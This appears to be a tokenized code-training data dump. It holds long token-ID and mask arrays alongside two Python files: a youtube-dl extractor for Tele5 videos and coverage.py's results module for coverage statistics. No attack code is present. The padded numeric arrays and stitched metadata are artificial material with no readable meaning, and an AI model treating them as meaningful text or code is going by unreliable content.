63, 3577, 4492, 492, 1218, 63, 505, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 11707, 63, 11913, 63, 2030, 421, 199, 3, 1321, 26, 10329, 29, 20, 5584, 29, 20, 10844, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
valmynd/MediaFetcher
src/plugins/youtube_dl/youtube_dl/extractor/tele5.py
1
1302
# coding: utf-8 from __future__ import unicode_literals from .common import InfoExtractor from .nexx import NexxIE from ..compat import compat_urlparse class Tele5IE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?tele5\.de/(?:mediathek|tv)/(?P<id>[^?#&]+)' _TESTS = [{ 'url': 'https://www.tele5.de/mediathek/filme-online/videos?vid=1549416', 'info_dict': { 'id': '1549416', 'ext': 'mp4', 'upload_date': '20180814', 'timestamp': 1534290623, 'title': 'Pandorum', }, 'params': { 'skip_download': True, }, }, { 'url': 'https://www.tele5.de/tv/kalkofes-mattscheibe/video-clips/politik-und-gesellschaft?ve_id=1551191', 'only_matching': True, }, { 'url': 'https://www.tele5.de/tv/dark-matter/videos', 'only_matching': True, }] def _real_extract(self, url): qs = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query) video_id = (qs.get('vid') or qs.get('ve_id') or [None])[0] if not video_id: display_id = self._match_id(url) webpage = self._download_webpage(url, display_id) video_id = self._html_search_regex( r'id\s*=\s*["\']video-player["\'][^>]+data-id\s*=\s*["\'](\d+)', webpage, 'video id') return self.url_result( 'https://api.nexx.cloud/v3/759/videos/byid/%s' % video_id, ie=NexxIE.ie_key(), video_id=video_id)
gpl-3.0
[ 3, 2803, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 1275, 14743, 88, 492, 653, 476, 88, 4332, 199, 504, 2508, 5819, 492, 8434, 63, 10290, 421, 199, 533, 23884, 21, 4332, 8, 18283, 304, 199, 198, 63, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 15253, 21, 4537, 271, 32576, 4603, 1589, 75, 92, 6993, 2447, 2229, 48, 28, 344, 13489, 31, 3, 6, 29716, 199, 198, 63, 7569, 275, 8910, 507, 198, 7, 633, 356, 283, 2859, 921, 1544, 14, 15253, 21, 14, 271, 15, 4603, 1589, 75, 15, 1289, 278, 13, 15178, 15, 11418, 31, 5017, 29, 1046, 19422, 975, 297, 507, 198, 7, 815, 63, 807, 356, 469, 686, 198, 7, 344, 356, 283, 1046, 19422, 975, 297, 686, 198, 7, 832, 356, 283, 311, 20, 297, 686, 198, 7, 5064, 63, 602, 356, 283, 1797, 11292, 1079, 297, 686, 198, 1133, 1036, 2359, 356, 4114, 1082, 1398, 1690, 1789, 12, 686, 198, 1133, 5776, 356, 283, 48, 460, 32346, 297, 507, 198, 1386, 507, 198, 7, 1162, 356, 469, 686, 198, 1159, 5194, 63, 4249, 356, 715, 12, 507, 198, 1386, 199, 198, 1386, 469, 507, 198, 7, 633, 356, 283, 2859, 921, 1544, 14, 15253, 21, 14, 271, 15, 6993, 15, 75, 4878, 1618, 397, 13, 569, 1086, 595, 73, 1235, 15, 3722, 13, 2764, 1190, 15, 555, 317, 30298, 13, 725, 13, 303, 5891, 478, 9518, 856, 31, 432, 63, 344, 29, 11520, 845, 3328, 297, 507, 198, 7, 2118, 63, 9467, 356, 715, 12, 199, 198, 1386, 469, 507, 198, 7, 633, 356, 283, 2859, 921, 1544, 14, 15253, 21, 14, 271, 15, 6993, 15, 13625, 13, 569, 351, 15, 11418, 297, 507, 198, 7, 2118, 63, 9467, 356, 715, 12, 199, 198, 11049, 421, 198, 318, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 507, 198, 6177, 275, 8434, 63, 10290, 14, 1122, 63, 6177, 8, 5819, 63, 10290, 14, 10290, 8, 633, 680, 1131, 9, 507, 198, 3722, 63, 344, 275, 334, 6177, 14, 362, 360, 5017, 358, 503, 6377, 14, 362, 360, 432, 63, 344, 358, 503, 359, 403, 11057, 16, 61, 2742, 198, 692, 440, 3991, 63, 344, 26, 686, 198, 2918, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 686, 198, 12022, 275, 291, 423, 4249, 63, 12022, 8, 633, 12, 2929, 63, 344, 9, 686, 198, 3722, 63, 344, 275, 291, 423, 1360, 63, 1733, 63, 3821, 8, 1585, 198, 82, 7, 344, 60, 83, 23440, 83, 10, 905, 26889, 3722, 13, 6147, 905, 60, 3488, 62, 30, 2807, 576, 13, 344, 60, 83, 23440, 83, 10, 905, 26889, 2961, 68, 14705, 1585, 198, 12022, 12, 283, 3722, 1305, 358, 2742, 198, 1107, 291, 14, 633, 63, 1099, 8, 686, 198, 7, 2859, 921, 1246, 14, 14743, 88, 14, 4091, 15, 86, 19, 15, 31979, 15, 11418, 15, 991, 344, 3149, 83, 7, 450, 3991, 63, 344, 12, 686, 198, 1873, 29, 46, 476, 88, 4332, 14, 1873, 63, 498, 1062, 3991, 63, 344, 29, 3722, 63, 344, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 1275, 14743, 88, 492, 653, 476, 88, 4332, 199, 504, 2508, 5819, 492, 8434, 63, 10290, 421, 199, 533, 23884, 21, 4332, 8, 18283, 304, 199, 198, 63, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 15253, 21, 4537, 271, 32576, 4603, 1589, 75, 92, 6993, 2447, 2229, 48, 28, 344, 13489, 31, 3, 6, 29716, 199, 198, 63, 7569, 275, 8910, 507, 198, 7, 633, 356, 283, 2859, 921, 1544, 14, 15253, 21, 14, 271, 15, 4603, 1589, 75, 15, 1289, 278, 13, 15178, 15, 11418, 31, 5017, 29, 1046, 19422, 975, 297, 507, 198, 7, 815, 63, 807, 356, 469, 686, 198, 7, 344, 356, 283, 1046, 19422, 975, 297, 686, 198, 7, 832, 356, 283, 311, 20, 297, 686, 198, 7, 5064, 63, 602, 356, 283, 1797, 11292, 1079, 297, 686, 198, 1133, 1036, 2359, 356, 4114, 1082, 1398, 1690, 1789, 12, 686, 198, 1133, 5776, 356, 283, 48, 460, 32346, 297, 507, 198, 1386, 507, 198, 7, 1162, 356, 469, 686, 198, 1159, 5194, 63, 4249, 356, 715, 12, 507, 198, 1386, 199, 198, 1386, 469, 507, 198, 7, 633, 356, 283, 2859, 921, 1544, 14, 15253, 21, 14, 271, 15, 6993, 15, 75, 4878, 1618, 397, 13, 569, 1086, 595, 73, 1235, 15, 3722, 13, 2764, 1190, 15, 555, 317, 30298, 13, 725, 13, 303, 5891, 478, 9518, 856, 31, 432, 63, 344, 29, 11520, 845, 3328, 297, 507, 198, 7, 2118, 63, 9467, 356, 715, 12, 199, 198, 1386, 469, 507, 198, 7, 633, 356, 283, 2859, 921, 1544, 14, 15253, 21, 14, 271, 15, 6993, 15, 13625, 13, 569, 351, 15, 11418, 297, 507, 198, 7, 2118, 63, 9467, 356, 715, 12, 199, 198, 11049, 421, 198, 318, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 507, 198, 6177, 275, 8434, 63, 10290, 14, 1122, 63, 6177, 8, 5819, 63, 10290, 14, 10290, 8, 633, 680, 1131, 9, 507, 198, 3722, 63, 344, 275, 334, 6177, 14, 362, 360, 5017, 358, 503, 6377, 14, 362, 360, 432, 63, 344, 358, 503, 359, 403, 11057, 16, 61, 2742, 198, 692, 440, 3991, 63, 344, 26, 686, 198, 2918, 63, 344, 275, 291, 423, 1431, 63, 344, 8, 633, 9, 686, 198, 12022, 275, 291, 423, 4249, 63, 12022, 8, 633, 12, 2929, 63, 344, 9, 686, 198, 3722, 63, 344, 275, 291, 423, 1360, 63, 1733, 63, 3821, 8, 1585, 198, 82, 7, 344, 60, 83, 23440, 83, 10, 905, 26889, 3722, 13, 6147, 905, 60, 3488, 62, 30, 2807, 576, 13, 344, 60, 83, 23440, 83, 10, 905, 26889, 2961, 68, 14705, 1585, 198, 12022, 12, 283, 3722, 1305, 358, 2742, 198, 1107, 291, 14, 633, 63, 1099, 8, 686, 198, 7, 2859, 921, 1246, 14, 14743, 88, 14, 4091, 15, 86, 19, 15, 31979, 15, 11418, 15, 991, 344, 3149, 83, 7, 450, 3991, 63, 344, 12, 686, 198, 1873, 29, 46, 476, 88, 4332, 14, 1873, 63, 498, 1062, 3991, 63, 344, 29, 3722, 63, 344, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
svn2github/chromium-depot-tools
third_party/coverage/results.py
49
10023
"""Results of coverage measurement.""" import os from coverage.backward import iitems, set, sorted # pylint: disable=W0622 from coverage.misc import format_lines, join_regex, NoSource from coverage.parser import CodeParser class Analysis(object): """The results of analyzing a code unit.""" def __init__(self, cov, code_unit): self.coverage = cov self.code_unit = code_unit self.filename = self.code_unit.filename actual_filename, source = self.find_source(self.filename) self.parser = CodeParser( text=source, filename=actual_filename, exclude=self.coverage._exclude_regex('exclude') ) self.statements, self.excluded = self.parser.parse_source() # Identify missing statements. executed = self.coverage.data.executed_lines(self.filename) exec1 = self.parser.first_lines(executed) self.missing = sorted(set(self.statements) - set(exec1)) if self.coverage.data.has_arcs(): self.no_branch = self.parser.lines_matching( join_regex(self.coverage.config.partial_list), join_regex(self.coverage.config.partial_always_list) ) n_branches = self.total_branches() mba = self.missing_branch_arcs() n_partial_branches = sum( [len(v) for k,v in iitems(mba) if k not in self.missing] ) n_missing_branches = sum([len(v) for k,v in iitems(mba)]) else: n_branches = n_partial_branches = n_missing_branches = 0 self.no_branch = set() self.numbers = Numbers( n_files=1, n_statements=len(self.statements), n_excluded=len(self.excluded), n_missing=len(self.missing), n_branches=n_branches, n_partial_branches=n_partial_branches, n_missing_branches=n_missing_branches, ) def find_source(self, filename): """Find the source for `filename`. Returns two values: the actual filename, and the source. The source returned depends on which of these cases holds: * The filename seems to be a non-source file: returns None * The filename is a source file, and actually exists: returns None. * The filename is a source file, and is in a zip file or egg: returns the source. * The filename is a source file, but couldn't be found: raises `NoSource`. """ source = None base, ext = os.path.splitext(filename) TRY_EXTS = { '.py': ['.py', '.pyw'], '.pyw': ['.pyw'], } try_exts = TRY_EXTS.get(ext) if not try_exts: return filename, None for try_ext in try_exts: try_filename = base + try_ext if os.path.exists(try_filename): return try_filename, None source = self.coverage.file_locator.get_zip_data(try_filename) if source: return try_filename, source raise NoSource("No source for code: '%s'" % filename) def missing_formatted(self): """The missing line numbers, formatted nicely. Returns a string like "1-2, 5-11, 13-14". """ return format_lines(self.statements, self.missing) def has_arcs(self): """Were arcs measured in this result?""" return self.coverage.data.has_arcs() def arc_possibilities(self): """Returns a sorted list of the arcs in the code.""" arcs = self.parser.arcs() return arcs def arcs_executed(self): """Returns a sorted list of the arcs actually executed in the code.""" executed = self.coverage.data.executed_arcs(self.filename) m2fl = self.parser.first_line executed = [(m2fl(l1), m2fl(l2)) for (l1,l2) in executed] return sorted(executed) def arcs_missing(self): """Returns a sorted list of the arcs in the code not executed.""" possible = self.arc_possibilities() executed = self.arcs_executed() missing = [ p for p in possible if p not in executed and p[0] not in self.no_branch ] return sorted(missing) def arcs_unpredicted(self): """Returns a sorted list of the executed arcs missing from the code.""" possible = self.arc_possibilities() executed = self.arcs_executed() # Exclude arcs here which connect a line to itself. They can occur # in executed data in some cases. This is where they can cause # trouble, and here is where it's the least burden to remove them. unpredicted = [ e for e in executed if e not in possible and e[0] != e[1] ] return sorted(unpredicted) def branch_lines(self): """Returns a list of line numbers that have more than one exit.""" exit_counts = self.parser.exit_counts() return [l1 for l1,count in iitems(exit_counts) if count > 1] def total_branches(self): """How many total branches are there?""" exit_counts = self.parser.exit_counts() return sum([count for count in exit_counts.values() if count > 1]) def missing_branch_arcs(self): """Return arcs that weren't executed from branch lines. Returns {l1:[l2a,l2b,...], ...} """ missing = self.arcs_missing() branch_lines = set(self.branch_lines()) mba = {} for l1, l2 in missing: if l1 in branch_lines: if l1 not in mba: mba[l1] = [] mba[l1].append(l2) return mba def branch_stats(self): """Get stats about branches. Returns a dict mapping line numbers to a tuple: (total_exits, taken_exits). """ exit_counts = self.parser.exit_counts() missing_arcs = self.missing_branch_arcs() stats = {} for lnum in self.branch_lines(): exits = exit_counts[lnum] try: missing = len(missing_arcs[lnum]) except KeyError: missing = 0 stats[lnum] = (exits, exits - missing) return stats class Numbers(object): """The numerical results of measuring coverage. This holds the basic statistics from `Analysis`, and is used to roll up statistics across files. """ # A global to determine the precision on coverage percentages, the number # of decimal places. _precision = 0 _near0 = 1.0 # These will change when _precision is changed. _near100 = 99.0 def __init__(self, n_files=0, n_statements=0, n_excluded=0, n_missing=0, n_branches=0, n_partial_branches=0, n_missing_branches=0 ): self.n_files = n_files self.n_statements = n_statements self.n_excluded = n_excluded self.n_missing = n_missing self.n_branches = n_branches self.n_partial_branches = n_partial_branches self.n_missing_branches = n_missing_branches def set_precision(cls, precision): """Set the number of decimal places used to report percentages.""" assert 0 <= precision < 10 cls._precision = precision cls._near0 = 1.0 / 10**precision cls._near100 = 100.0 - cls._near0 set_precision = classmethod(set_precision) def _get_n_executed(self): """Returns the number of executed statements.""" return self.n_statements - self.n_missing n_executed = property(_get_n_executed) def _get_n_executed_branches(self): """Returns the number of executed branches.""" return self.n_branches - self.n_missing_branches n_executed_branches = property(_get_n_executed_branches) def _get_pc_covered(self): """Returns a single percentage value for coverage.""" if self.n_statements > 0: pc_cov = (100.0 * (self.n_executed + self.n_executed_branches) / (self.n_statements + self.n_branches)) else: pc_cov = 100.0 return pc_cov pc_covered = property(_get_pc_covered) def _get_pc_covered_str(self): """Returns the percent covered, as a string, without a percent sign. Note that "0" is only returned when the value is truly zero, and "100" is only returned when the value is truly 100. Rounding can never result in either "0" or "100". """ pc = self.pc_covered if 0 < pc < self._near0: pc = self._near0 elif self._near100 < pc < 100: pc = self._near100 else: pc = round(pc, self._precision) return "%.*f" % (self._precision, pc) pc_covered_str = property(_get_pc_covered_str) def pc_str_width(cls): """How many characters wide can pc_covered_str be?""" width = 3 # "100" if cls._precision > 0: width += 1 + cls._precision return width pc_str_width = classmethod(pc_str_width) def __add__(self, other): nums = Numbers() nums.n_files = self.n_files + other.n_files nums.n_statements = self.n_statements + other.n_statements nums.n_excluded = self.n_excluded + other.n_excluded nums.n_missing = self.n_missing + other.n_missing nums.n_branches = self.n_branches + other.n_branches nums.n_partial_branches = ( self.n_partial_branches + other.n_partial_branches ) nums.n_missing_branches = ( self.n_missing_branches + other.n_missing_branches ) return nums def __radd__(self, other): # 